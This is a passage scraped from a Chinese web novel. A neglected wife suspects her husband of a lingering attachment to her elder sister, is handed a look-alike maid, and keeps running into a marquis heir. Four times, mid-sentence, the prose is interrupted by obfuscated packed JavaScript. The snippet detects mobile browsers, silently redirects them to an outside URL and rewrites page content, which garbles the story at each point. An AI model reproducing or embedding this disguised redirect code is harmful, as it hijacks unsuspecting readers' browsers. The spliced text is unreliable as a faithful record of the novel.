“这里的料子哪里去了?”是她整理出来,原打算送给姐姐的料子,刚要叫人包起来,怎么不见了? 一开始祝吟鸾还没有往那地方想,可明芽带着小丫鬟找了一会,并不见这东西,她方才蹙眉,回想到卫如琢叫人拿走的书匣。 明芽没有祝吟鸾的敏感,她只怀疑,“会不会被手底下不干净的人给拿走了?” 院子里都是信得过的人,谁敢这么明目张胆? 思来想去,祝吟鸾按下不表,“罢了,你明儿再找找,若实在寻不见,也不用找了。” “那可是上好的料子,还是姑爷叫人给您采买的。” “没事,就算再贵重,也不过是死物而已。”那东西虽然贵重,可她从来不在乎这些。 沐浴之后,重新躺下,身子舒坦不少,可祝吟鸾却怎么都睡不着。 外面的雨越来越大,她的意识也越来越清醒。 她想到那个可以称得上光怪陆离的梦境。 其实已经不是第一次做这样的梦了。 其实之前也有过,只是那会子的梦很是朦胧,她没有和这个男人贴得如此之近,便也没有在意。 她也一直以为,是她太想要孩子了,想着和卫如琢亲近,这才日有所思夜有所梦。 今日勉强算是“拨云见日”般的靠近,加之卫如琢抓了她的手,祝吟鸾恍惚意识到梦里的人不是她的夫郎。 她怎么会…… 思忖期间,听到幔帐被打开,原以为是明芽,却不想,竟然是在院子里只知道低头做事,话少沉默的姣惠。 她脸上的胎记在背过烛火的夜里显得有些骇人,幸而祝吟鸾没瞌睡,也见惯了并不会怕,只问她怎么了? 姣惠欲言又止,边给她整理被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241264|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褥边压低声音道,“小姐,那料子奴婢见了。” “你见了?”祝吟鸾下意识压低声音,“然后呢?” “被姑爷身边的随侍拿走了。” 祝吟鸾一顿,“你确定吗?” “奴婢确定。”姣惠点头。 祝吟鸾,“……” 卫如琢雨夜回来,是为了拿书论,还是为了拿料子? 若是为了料子,那又是要送给谁,想到他这些时日早出晚归的冷淡与不耐烦,祝吟鸾的心里怎么都不是滋味。 她在沉默。 另一方面又忍不住冒出了一个念头,雨下得这样大,卫如琢想必也没有走远吧?若是她跟上去,会不会被发觉? 不,她怎么能不相信卫如琢呢?他是她的枕边人。 他若是在背地里偷香窃玉,又何必拒绝婆母要给他收通房丫鬟纳良家妾? 更何况她这些年没有己出,庞氏也不是没有背地里私自动主意要给卫如琢相看别的贵女。 在卫家如此攀升的角度之上,有不少人家想要将女儿给塞进来,有一些的出身与她相当的,甚至愿意做妾,尽管如此,卫如琢还是严词拒绝了。 他真的要有这样的心思,为何要拒绝婆母? 除非…… 除非他在意的那个人不能够提及。 有什么缘由不能够不方便提及? 几乎是在一瞬间,祝吟鸾就想到了是谁。 长姐。 她和卫如琢曾经是未婚夫妻,今日长姐也问了卫如琢。 但若是长姐……怎么可能呢? 此刻的雨势很大,长姐不在骆家,怎么会跟卫如琢见面? 想要去查证的心思越冒越浓烈,就像这场越来越大的雨。 祝吟鸾心烦意乱,姣惠看着她面色纠结得厉害,眉头紧皱好一会之后,她倏然睁开,起身,“姣惠……” “这件事情不要再对任何人说起。” “那料子就当丢了。” 姣惠意外,“您不去看看吗?” 祝吟鸾垂眼,浓密的睫毛在眼睑处落出漂亮的弧影。 好一会她才道,“再过几个月,夫君与我成亲快要有四年了吧?” “我……应当相信他。”他只是忙碌朝廷的公务而已。 他和长姐相识的时日虽长,可她跟卫如琢在一处的时日也不算短了。 话是这么说,祝吟鸾的心中没有多少底。 被褥里的女子声音低迷,与其说是证实,倒不如说是喃喃自语。 “姣惠,你记住我与你说的话就是了。”她又叮嘱了一遍。 看着女子恹恹神色,窝在被褥里更显娇小的脸蛋。 姣惠颔首道,“是,奴婢知道了。” “你出去吧,跟明芽说,今日不需要人守夜了。” 祝吟鸾背过身朝里,被褥宽大,越发让人觉得她背影单薄瘦弱。 “……” 彼时的侯府沈家,内院。 男人看了信笺上的内容之后,微微挑眉,轻笑。 她还跟之前一样呢。 骨节分明的手指卷起信笺放到烛火之上,火舌席卷笺纸,很快便烧得厉害。 火光窜起之时,明明灭灭之间映照出男人精致旖丽的眉眼,隐约能够看到他的稳操胜券。 5. 第5章 卫如琢雨夜赶回的消息还是惊动了庞氏。 祝吟鸾晨起去伺候她用饭之时,她问了这件事情。 听到祝吟鸾没有留下他,庞氏很不满意。 一大早便开始盯着她挑不满,“你说你虽然是个庶女,门第到底是在祝家生养的,怎么就如此愚笨?下那样大的雨,你就不担心自家夫郎出去了受寒气又遭了病?到底没有想个法子留住他?” 先头卫如琢跑前跑后就病过几遭,分明不是祝吟鸾的错,可庞氏很喜欢责怪在她的头上。 卫家的门第越升,她越是看祝吟鸾不满意,奈何祝吟鸾又是个逆来顺受的性子,无论怎么说怎么挑刺,都一副好性子,从不见反驳,因而庞氏发难不成,却总是气到她自己。 云妈妈上前借着端汤的名头暗中为祝吟鸾解围。 庞氏慢吞吞接过汤勺,也不要祝吟鸾伺候了,她兀自喝了几口。 见庞氏勉强压了话茬,云妈妈使眼色给旁边的小丫鬟帮祝吟鸾布菜。 她动筷子的时候庞氏没说什么,方才吃了两口,庞氏又道,“今儿一早,你姐姐倒是送了口信来。” 姐姐的人来过?怎么没有人告知她?祝吟鸾心中疑问,眉头微皱。 “说祝家那边已经打点了,午后太医就会过来给我看病,届时你也让太医看看吧。” 这算是婆母的好意,祝吟鸾颔首没有拒绝。 实际上她的身子没有什么问题,早些换了好几个郎中看过了。 真要说什么,要问问卫如琢。 他回来的时日总碰不上郎中所说的好时候。 而且祝吟鸾也有意按着话本子上说的方法做过,可她还是没有身孕。 “……” 用过早膳,忙了一会府上琐事,在午后,太医如约而至。 不过并非单独来的,而是她的嫡母朱夫人带过来的,如此好掩人耳目。 祝吟鸾上前行礼问安,朱夫人扫了她一眼,冷淡点头,随后笑着跟庞氏说话,祝吟鸾站到另外一边。 虽说祝家已经给了些许人情,可太医上门,卫家自然也是要掏些银钱的,不仅如此,祝吟鸾还备办了价值不菲的物件做礼。 太医拿了不少好处,把脉也认真。 先看的庞氏,给她扎了扎针,又重新拟了方子让下人抓了给庞氏泡药浴,药膳也要吃,还赠了一盒药料熏香,说雨夜点燃能够睡得安稳。 庞氏连连谢过。 随后便到了给祝吟鸾看病,在此期间,朱夫人和庞氏的脸色都淡了下来,尤其是朱夫人。 祝吟鸾虽非她亲生的女儿,到底是挂在她的名下,嫁过来这么多年都没有生养,传出去累的可是祝家的名声。 太医看了之后道,“祝少夫人的身子并没有什么不好,并不需要抓方吃药,这药喝多了终究有三分毒气。” “敢问太医,既然我这媳妇身子都好,那怎么会几年没有身孕啊?” 这子孙后嗣,可不单是女方一人的事情,太医心里清楚,面上却不敢表露,卫家得上面看重,若是卫大人再调回来,那地位即将更上一层楼了。 “后嗣也看天时地利人和,少夫人和大人都还年轻,有孕不过就是迟早的事情,夫人莫急。” 这样的话,庞氏也不知听了多少次了。 碍于这是宫里的太医,也只能笑着点头答谢宽慰。 把完脉,朱夫人带着太医离开,祝吟鸾亲自送两人出去。 在卫家门口,太医已经上了轿子,朱夫人对祝吟鸾道,“你姐姐的事情你可曾听说了?” “听说了。” “既听说了,往日里便多多走动些,你姐姐心里苦闷,你这个做妹妹的,必要时时在跟前宽慰着。” “母亲所言,女儿知道了。” 在卫家门口人多眼杂,朱夫人也不要再说什么,客套叮嘱了几句,预备离开。 临行之前,祝吟鸾让她多多保重身子,她没怎么理会。 折返时,庞氏还没歇息。 她打量着祝吟鸾,瞧着样貌身段都很好,虽然是个庶女,治家管事也不错的,就是过于软弱怯懦了一些,往日里实在过于沉静,跟祝家的嫡长女祝沉檀比起来,实在太小家子气了。 莫说是祝家嫡长女,就连她出嫁的两个女儿都比不上。 自从家里的女儿嫁出去以后,卫如琢早出晚归,几日不回,家里静得没什么人气,庞氏着实太想抱孙子了,偏偏不能够得偿所愿。 “都是一个嫡母养的,你怎么就不能跟你嫡长姐姐多学学?”庞氏抱怨。 “你以为成了亲,只会管家理事就可以了?”庞氏严词教育她,“自家的夫郎才是你最该照顾的。” 祝吟鸾一应听着,没有丝毫辩驳。 婆母难道会不清楚,她和长姐的性子到底相差在什么地方吗? 她没有底气,自然要唯诺一些明哲保身。 “真不知道我们家怎么要了你这么个人来做媳妇。”庞氏不说了,捏着眉心。 “你下去吧,这些时日就不要过来我身边了,好生想想,怎么紧着琢哥儿。” “媳妇知道了。”祝吟鸾低声道。 她出来的时候,天色转阴了,眼看着又要有一场大雨要落。 她站在廊下愣了一会,叫人把开得正艳的花挪进来,免得被雨给砸毁了。 明芽劝她回房,她说想要看看雨。 瞧着小丫鬟和婆子们低着头一言不发,忙忙碌碌的身影,仿佛看到了她自己。 她这么些年……好似就这么过来的。 是吗,是吧。 “……” 昨日在廊下站了一会,祝吟鸾罕见的病了。 怕被庞氏知道了语出埋怨,便叫明芽不要声张,幸而这些时日也不必过去停雨阁伺候。 太医给庞氏拟了一张药浴方子,借着这个名头,祝吟鸾便带着明芽出了门抓药看医。 京城里的药铺很多,先前她为了看身子也打听过,还去了几家。 这一次,她绕到了京西巷子的申家药堂,里面的申郎中医术不错,曾经师从太医院首,只可惜人脉不够没混入宫内谋个医职,出来之后借着太医院的名声也开了药堂,在这一片都很有名。 毕竟京城人谁不想让太医看病,太医院的太医够不着,这在太医院混迹过的郎中也是退而求其次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241265|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的不错选择。 祝吟鸾戴着斗篷和面纱等看诊的人写号分医,明芽已经拿了药方子去另外一边找药童抓药材了。 前后来的人挺多,她本就沉静,此刻身上发了热有些难受,便专心排队并没有四处探看。 分号之后进入药堂的小楼二层去找申郎中,这里较为安静,后面的人没跟上来,她便左右看了看,可谁知道抬脚之间竟不留神踩空了台阶。 她吓得不轻,慌忙扑腾双手,要抓住旁边的扶手不至于摔得狼狈。 谁知在这时候,竟然伸出一只臂膀揽过她的腰肢,捏着她的手腕,将她给拉了回来。 男人来得及时,又站在台阶之上,清冽陌生的男子气息靠近袭来之时,她惊魂未定的心绪在这一刻跳得更为厉害。 站稳之后,祝吟鸾连忙脱身拉开两人之间的距离。 顾不上怦怦跳动的心,她磕磕绊绊开口道,“多、多谢郎君施以援手…不胜感激。” 他看着她站定之后像只兔子一般瞬间挣脱,蹦得很远,离开他。 若非后面是楼梯的转角,只怕还要离他更远一些。 性子没变,胆子似乎小了一些…… 说话之时垂着眼睛,甚至都不敢看他,是为了避嫌。 薄薄的面纱只罩住了半张小脸,她呼吸急促,面纱被吸得往后黏在她的脸上,尤其是在她说话朝他道谢之时,完完全全是笼罩在她的小半张脸上。 面纱勾勒出她挺翘的鼻梁,小巧丰满的唇瓣。 卫家的日子不好过,从脸的轮廓便能看出她瘦弱不少。 昔时的少女长开了,脸上的婴儿肥褪去之后,变得亭亭玉立,甚至已为人妻妇。 他掠过她挽起来的妇人发髻。 往后拉开距离,成全她的避嫌,淡声开口,“情急之下多有得罪,还望姑娘海涵在下的失礼。” 男人温润的声音钻入耳朵里,莫名叫祝吟鸾定了定神。 可她又诡异觉得莫名熟悉,要往深处探查,祝吟鸾脑海中又没找到与之对号的人物。 “郎君此话言重了,你原就是为了帮我…何来得罪一说,反而是我…” 说着说着,她又跟对方道了一声谢,却没有讲出自身的来历,也不曾抬眼看去,多数低敛着眼睫。 女子在外不好张扬,尤其是她还是成了亲的,方才两人有了意外的接触,若是被人看见只怕说不清楚。 对方应当也是个谦谦君子,他退后拉开距离的举动,祝吟鸾瞧见了。 “娘子不必客气,都说了是举手之劳。” “楼梯狭窄,请娘子先行。”他侧身让开很大距离。 祝吟鸾心里的防备在对方周到有礼的话语,温声清润的嗓音中渐渐化了一些。 她抬眼,这才留意到对方是带着随从的。 男子衣角是月锦色,她着女红,一眼便能看出料子名贵,非寻常人家可用,想必对方身份来头不小。 见状,她加快步伐离开。 擦身而过之时余光收敛,也不曾回头,自然没有窥见男人微抬的眼眸始终追随着她。 他看她消失的背影,眸中泛着浓郁的耐人寻味。 6. 第6章 即便是要走得很快也不能够失了礼数,若是显得落荒而逃,未免有些许欲盖弥彰,令人觉得莫名其妙。 绕过转角的时候,祝吟鸾忽而听到不远处的随从道,“世子爷,您今日出……” 世子爷?她没有听错吗? 祝吟鸾下意识回身看去,却只捕捉到男人清俊落拓的背影,好似一阵清润的风。 若说她刚才听得不真切听错了,但那个随从的声音……在几日之前她还是听过的。 竟然真的是侯府沈家的世子爷吗? 短短几日,她怎么又遇到他了。 京城是天下之主所居之地,再没有比这里更繁盛的地方,她怎么总是跟侯府世子碰着? 这件事情暂时扰乱了她的思绪,令祝吟鸾忽视了方才她被沈景湛拉拢亲近之时,感受到的诡异的熟悉感。 申郎中叫她进去,她越发将这件事情暂时抛诸脑后。 明芽抓了药材很快便过来找祝吟鸾,她也方才从小二层下来。 还没开口,便听到明芽兴奋异常拉着她低语,“小姐,你知道奴婢方才看到了谁吗?” “谁?”问出这句话的时候,她脑子里晃过一个影子。 在明芽兴奋说出侯府世子名讳之时,祝吟鸾脑中顿凝住,原来方才拉住她的人真的是沈景湛? “是、是吗?”祝吟鸾没跟明芽提这件事情。 “是啊,他人真是好!”明芽突如其来的夸赞令祝吟鸾不明所以,“什么?” “太医所开的药方里面有一味名贵的药材龙涎香,申家药堂也没有了,奴婢正着急呢,若没想到后面的人道他有,奴婢转过去一看,竟然是沈世子的随从,他跟奴婢说,愿意赠予奴婢,待那随从抓了药,奴婢便跟着他去拿了,您看。” 满满一包的龙涎香,且不说价值几何,祝吟鸾眉头拧得厉害,“你怎么好白拿别人的东西?” 明芽愣住,解释道,“奴婢也是着急,这龙涎香珍贵,申家药堂也算是药材最齐全的地方,药童说这里没有,别家只怕也空了,一时慌了便想着……” “对了,奴婢知道您的性子,说了要先过问您的意思再从他们的手里采买,可那随从说侯府的老夫人病了,沈世子赶着时辰要回去,救人要紧,就将药材塞给了奴婢。” “奴婢是要拒绝的,可沈世子在这时候开口,他道上次冲撞了娘子,这也算礼数吧,若是娘子不好意思,日后侯府若有求助,也请娘子施以援手便是了。” 见祝吟鸾的脸色古怪,不知在想些什么,明芽噼里啪啦解释了一大堆。 听罢,祝吟鸾的眉头拧得更厉害,“上次已经赔了玉轮……” 施以援手?侯府世子的人情恐怕没有那么好接。 “小姐……” “算了,先回去吧。” 她的头有些许晕,适才起了热,申郎中给她把脉以后,见她面色不对,先给她吃了一味降热护心的药丸,如今虽然有所缓和,可还是觉得昏沉迟钝。 “好。”明芽扶着祝吟鸾。 眼见祝家的马车离开以后,在京西暗处巷子里的男人方才带着随从离开,“……” 这一路上,明芽又要讨好似地跟祝吟鸾说了许多话,见她露出笑颜说不怪罪,这才勉强放心。 “龙涎香只取该用的量,剩下的好生留着,不要浪费。” 知道祝吟鸾要归还,明芽点头保证定然好生看管,不然不会似那布料一般弄丢了。 提到那料子,祝吟鸾不免想到卫如琢冒雨离开的夜晚。 他到今日都没有回来…… 朝廷的事情真的那么忙么?还是他在忙别的事情? 再过些时日便是她的生辰,他还记不记得? 前两年他还记得,去年他便忘了,祝吟鸾不喜张扬,虽然心中失落,到底没有说什么,她体谅卫如琢的忙碌。 是后来见到明芽给她送的荷包,包面做得精致,他多嘴问了一句,这才想起来错过她的生辰,给她补了一份礼。 今年眼看着他忙碌不减,恐怕他也记不得。 到家之时,还没下马车,便听说有客人来了。 “是谁?”明芽问。 “是家里小姐。”原来是卫如琢的妹妹。 想必是听说庞氏的身子不好,回来探望吧。 祝吟鸾强打着精神过去停雨阁,老远便听到了内室传来的笑声。 女儿归家,庞氏自然开心,只是在看到祝吟鸾的时候,脸上的笑意淡了下去。 “嫂嫂安好。”卫如琢的大妹妹卫清丝给她请安,祝吟鸾也与她见了礼数。 在此期间,祝吟鸾留意到卫清丝后面站了个样貌出众的姑娘,看着不像是小丫鬟,样貌和她的长姐有些许……相似? 祝吟鸾多看了几眼,的确是有些许相似,尤其是眉眼处。 可因为站在卫清丝后面,她没有介绍,祝吟鸾便没吭声。 卫如琢有两个嫡亲妹妹,小的那个性子娇俏,跟祝吟鸾交好,大的这个与庞氏一条心,不是那么好相与。 “多日不见,嫂子的气色似乎更好了。” 祝吟鸾分明是病容,可她却睁着眼睛说瞎话。 祝吟鸾只是笑笑没有接话。 卫清丝落了话茬空子,却也不尴尬,转头又跟庞氏说说笑笑起来。 祝吟鸾多数在旁边听着,并没有.插.话。 过了一会,卫清丝便要走了,祝吟鸾起来相送。 她人的确是要走了,带来探望的东西留下了,跟在她后面的人竟也没走。 祝吟鸾意识到不对,却没有贸贸然开口。 庞氏抬手,叫那女子上前。 “这是你小姑挑来的人,说是手脚伶俐,人也聪明,她体恤我病中怕底下人照顾不周就送来了,我这边的人手够用,你掌着家不能没人帮衬,便带过去身边使唤吧。” 说什么使唤,恐怕是要…给卫如琢挑选房中人。 看来,太医给她把脉说的那些话依然不能够让庞氏定心。 她着急了。 庞氏的话说的滴水不漏,到底是“心疼”她这个媳妇,祝吟鸾便将人带了回去。 云妈妈给庞氏捏腿的时候帮着祝吟鸾说话,夸她做事妥帖根本不需要人吩咐,“这药材少夫人竟然亲自跑腿带着人去采买,真是有心了。” 庞氏随口道嗯,扫过那些药材,让小丫鬟带下去,按照太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241266|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医的嘱咐放入药浴当中。 “她做事的确有心,可有心又有什么用,笼络不住丈夫,没有子嗣,难不成要让我们祝家都给她担待着?” 庞氏听出来云妈妈为祝吟鸾说话,拂了回去。 云妈妈也不好多说什么,涉及到祝家的子嗣,祝吟鸾没有身孕便避不开这一点。 回去的路上,祝吟鸾问了问这女子的家世,得知她姓方叫种月的时候,愣了一下,长姐的芳名便是月月。 沉檀二字她觉得不好,认为谐音沉潭不吉利,闹着要改,可嫡母说水中有月,长姐是她的皎洁明月,掌上明珠,便定了月月二字为长姐小字。 身家干净,到底没什么好问的了。 庞氏发了话,祝吟鸾就算是不想,也得把人放在身边跟着。 的确是个聪慧伶俐的人,祝吟鸾没给她分派活计,她也很会找事帮忙,且不会叫人觉得厌烦。 只是祝吟鸾没想到,卫如琢今夜归家了。 原以为是他忙完了事情,从他的口吻当中,祝吟鸾才得知是庞氏叫他回来的。 应当是为了两人相看吧。 他似乎也格外敏锐,祝吟鸾定神去迎他进门的时候,他视线定在她的身后,定了好一瞬。 留意到他的反应,祝吟鸾的心里何尝不是一紧。 但她没有出声,也没有介绍,毕竟此刻的白种月只是庞氏送给她的下人,既然不是房中人便不必多说了。 她低着头帮卫如琢解腰带便上干净的衣衫,垂眸敛下繁乱的思绪,心情也很低。 换了衣衫,卫如琢去净手准备用膳,这时候他问,“你身边新来了人?” 正在指着小丫鬟摆弄碗盏的祝吟鸾一顿,她轻声嗯。 卫如琢背对她洗手,她看不见他的神色到底如何。 他还在问,“人手不够吗?怎么还找了新的人来?” 他是为什么问? 心疼她人手不够使唤,还是因为这个小丫鬟相似长姐? 祝吟鸾不得而知,如实回道,“今日小姑上门,她送来给婆母使唤,婆母说她身边人手够了,便送给了我。” “原来如此。”卫如琢擦好了手,坐到桌边。 在此期间,祝吟鸾敏锐留意到他的视线又扫了一眼那小丫鬟。 虽然短暂,可她还是看到了。 他频频留意这个人,不是因为对方是新来的吧? 先前姣惠到她身边的时候,身脸上有一个异常明显的胎记他都不曾问过,如今这丫鬟又是为何要问? 祝吟鸾眼睫微动,身上寒津津,看着这些精致的饭菜忽而没什么胃口。 他看向对面正在用膳的男人,心里免不了悲戚。 他留意到她身侧来了新的小丫鬟,却没有留意到她身子不好,脸色白里透红得不正常。 卫如琢是不是厌倦她了? 两人之间一贯的无话,好一会卫如琢叫人添汤的时候,开了一句口。 却不是对着祝吟鸾说,他看向方种月,对方很有眼力见上前接过他的碗添汤。 卫如琢问,“你叫什么名字?” 与此同时,祝吟鸾抬眼看向他的侧脸,骤然攥紧了筷子。 7. 第7章 方种月添汤放到卫如琢面前,随后低眉顺眼报上名讳。 卫如琢重复她的名字,半晌之后道不错。 祝吟鸾用力攥着银筷,指骨泛白,可他还是不曾留意到,只低头吃他的。 明芽心疼祝吟鸾,上前给她布菜的时候说了一句,“郎中嘱咐您身子不好要少吃些凉菜,仔细伤胃。”说罢,将祝吟鸾眼前的醋腌黄瓜给拿走。 卫如琢这才看向她,“你病了?” “只是前些时日落雨受了凉,不碍事的。”她吃得缓慢,说话的速度也很慢。 提到那个雨夜,祝吟鸾又开始留意他的反应了。 他看起来像是没有什么异常,可言语却久违的忽而关怀她,“若身子不好,那便多多休息,家里的事情让底下人去做。” “多谢夫君关怀,我都知道了。”男人声音温和得令她有些许委屈和难受。 “嗯。” 再然后他也没有仔细问了,没有问他到底哪里不好,吃的什么药。 席卷只有轻微的用膳声,祝吟鸾没吃多少,卫如琢却大快朵颐。 用过晚膳,卫如琢没有要离开的动作,祝吟鸾带着小丫鬟给他备办热水,衣物。 期间,方种月也在帮忙。 卫如琢进入浴房之后,姣惠端着熬好的药上来给祝吟鸾喝。 明芽给她添置蜜饯的同时,低声道,“小姐不应该让她在内室伺候的。” 这女子看似安分,实则很会见缝插针。 祝吟鸾闻着放了蜜饯依然苦涩浓郁的汤药,“……” 婆母都那样说了,她若是多加阻挠,只怕又要被训斥,更重要的是,卫如琢并不排斥方种月的靠近,不仅是不排斥,甚至对她有些许好奇,追问名讳。 她能怎么办? 思及此,祝吟鸾心中苦涩,却没说什么,不等放入汤药当中的蜜饯化尽,她端起来一饮而尽,任由苦涩蔓延在口中。 “……” 卫如琢打量着眼前的伺候的小丫鬟。 她的眉眼的确生得很像祝沉檀,乍眼一看像,细看之下更像。 只是祝沉檀娇俏灵动,眼前的小丫鬟却规矩守礼,给他的感觉,竟更像是他的妻子祝吟鸾。 想起她方才苍白的脸色,卫如琢在想她是不是知道了些什么? 可若是知道了…… 就算是知道了,她又能如何。 祝吟鸾的性子沉静好似一潭死水,就算是狂风过境,也掀不起什么波澜。 卫如琢便没有放在心上,待过些时日让人给她送些珠玉首饰便好了,祝吟鸾总是不需要太大功夫去哄劝的。 她乖巧,省事。 卫如琢又问了眼前的小丫鬟几个问题。 关乎于家世出身。 然后他发现眼前的丫鬟张口回话之间,又不像祝吟鸾,更像是祝沉檀,说话的语气也有些许相似。 可引起卫如琢疑问的不是这个,而是,“你家中还有人是在侯府做事?” “沈家吗?” 虽然京城不只是一个侯爷,可要提起这么勋爵人家,当属沈家最引人瞩目。 “是。”方种月道。 “你家中既然有人在侯府沈家做事,为何你没跟着进去?” “沈家用人严格,轻易入不了门庭,奴婢家中还有两个幼弟要养,不能只让母亲一人忙碌,便只能另寻活计了。” 卫如琢没有起疑,只点头,“嗯,你倒是个孝顺的。” 这一点又跟他的妻子祝吟鸾更像。 祝吟鸾在另外一边沐浴,她梳洗好了出来,卫如琢比她进浴房竟然还没有收拾好。 见她看着浴房,明芽解释没听到什么动静。 祝吟鸾敛下眼,吩咐人添香,铺床。 没一会,卫如琢也出来了。 今夜闭了烛火之后,又开始刮风卷雨。 卫如琢在身侧,祝吟鸾没有丝毫睡意。 也不知他是否歇息了。 雨越下越大,祝吟鸾体质偏寒,她吃的药属于热性,此刻难以入眠,便翻了几次身。 身侧的卫如琢感受到她在动,转头问她,“怎么了?” 祝吟鸾都不清楚是不是她太在意到极度敏锐了。 她觉得卫如琢的这句话并不是慰问,而是不耐烦,因为她打扰了他。 “没事。”她还是没有开口。 她出嫁以后汲汲营营几年,好不容易挣到平静的日子,她并不想有任何的波澜。 或许真的是在病中,实在过于敏感了吧? 她如此安慰着自己,忽而听到旁边的卫如琢问,“院子里小丫鬟的月银一般是多少?” 祝吟鸾在黑暗中抬眼,她想反问,可又害怕卫如琢生气,如实给了他一个数。 卫如琢接着道,“你多拨一些给今日来的小丫鬟吧。” “为何?”她忍不住问了。 因为反问得太快,她很担心卫如琢会发觉她异常的在意从而恼怒,毕竟卫如琢不喜欢她这样。 可卫如琢似乎没有察觉她的不对劲,他道,“那丫鬟的身世可怜,家中父亲摔断了腿,母亲年迈体弱,还有两个幼弟要扶持。” 方种月竟然跟他说了这么多,所以他今日沐浴那么晚,是因为在里面听她说话。 并非祝吟鸾不体恤,这进来门第做活的小丫鬟,谁的身世不可怜,谁家中没有要抚养的,若是大富大贵,衣食无忧,谁会进来做下人,就算是在高门府第做下人,可到底也是为奴为婢。 何况,今日她问起那个小丫鬟,她也并没有具体对着她说明她家中的不易,怎么转过头就对着卫如琢说了呢? “怎么了,很为难?”卫如琢久久没有听到她说话。 “没有。”枕畔之人传来低低的一句,卫如琢没有丝毫意外。 看,这就是祝吟鸾,逆来顺受。 她不会拒绝。 “嗯,这件事情交给你去安排。”他道。 好一会,卫如琢快要昏昏欲睡,这些时日忙着户部的事情,官员太多了,全都挤在官署当中,他没怎么歇息好,那小丫鬟给他捏了捏臂膀,此刻很是舒坦。 就当他快要睡过去的时候,身侧的人翻过来,对着他这边问了一句话。 “先前我放在家中的料子,是夫君在那个归家的雨夜拿书时一道取走了吗?” 卫如琢瞬间睁开眼睛,他意外于祝吟鸾过去几日了突如其来的询问。 她到现在还在问,是不是之前就起疑了? 可听着她的语气,依然柔柔弱弱,并没有质问的意思。 转念一想,这么多年来祝吟鸾都没有闹过一次脾气,如何会红着脸质问他? 可她的询问还是让卫如琢感受到意外。 然后他后知后觉,发觉他第一反应竟然不是生气,而是新奇,心虚。 “怎么了?”他没有直接回答,还是这一句。 黑暗当中的夫妻在互相试探。 祝吟鸾攥紧了被褥,斟酌着言语,在这场询问的博弈当中她很紧张,可幸而在黑暗当中,没有被男人发觉。 在生病的掩盖之下,她的声音比平时更低柔,还有些小小的,若非夜深人静,卫如琢只怕都没有听清楚她说了一句,“那是给姐姐准备的贺礼,无故丢了想问问夫君。” 尽管在心里斟酌了许久,她还是会下意识把自己的处境给放低,“我并没有怀疑夫君的意思,只是身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241267|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的姣惠看到料子被夫君取走,想来一问。” 她的解释让卫如琢顿觉索然无味。 原以为祝吟鸾要跟他闹呢,不,是质问。 可她的话连质问都算不上,也就是小心翼翼的探听。 她一向如此,令人索然无味。 “是我让人拿走了。” “哦。”她也不问他拿走去做什么了? 卫如琢等了一会,她还是没有开口。 怕她又捕风捉影,索性跟她道,“那日回来遇到了你长姐身边的小丫鬟,听她说起你去府上探望没带贺礼,我见你放在台子上,便差人拿走了,不过这贺礼是经由骆大人的手转送的,聊表的也是你作为妹妹的慰问心意。” 他说谎了,并非偶然遇见,而是祝沉檀的小丫鬟来找他寻问骆暄的下落。 那小丫鬟说祝沉檀如何如何委屈,又念及他从前的好来,只可惜骆家的人看上了祝家的姑娘,只得将她嫁过去,这才令两人错失缘分,哭得他心烦意乱。 两人多年的情分,如今错失,他的心里也起了波澜,便寻了借口回来,借着料子又给她送了一些喜爱的东西。 何况,就算是经由骆暄的手用祝吟鸾的名头转赠,他和祝沉檀到底是曾经议论过亲事的人,如何不会叫人诟病。 如此漏洞,祝吟鸾却相信了。 她跟他道歉,说不该问的。 卫如琢趁势拔高声音翻身,有些不耐烦地欲盖弥彰,“既然已经得知了所有,你满意了便早点歇息吧。” 他却不知道祝吟鸾脸上的寥落在黑暗中是如此的明显。 这一夜,祝吟鸾歇得不怎么好。 昨日聊得不快,卫如琢晨起跟她也没话说,他不开口,祝吟鸾身子不适更没要说话的想法。 梳洗之后用了早膳,她跟着他去往庞氏那边请安。 庞氏见到卫如琢很高兴,还说太医妙手回春,昨日她泡了药浴,刮风下雨也没有头疼,睡得很安稳。 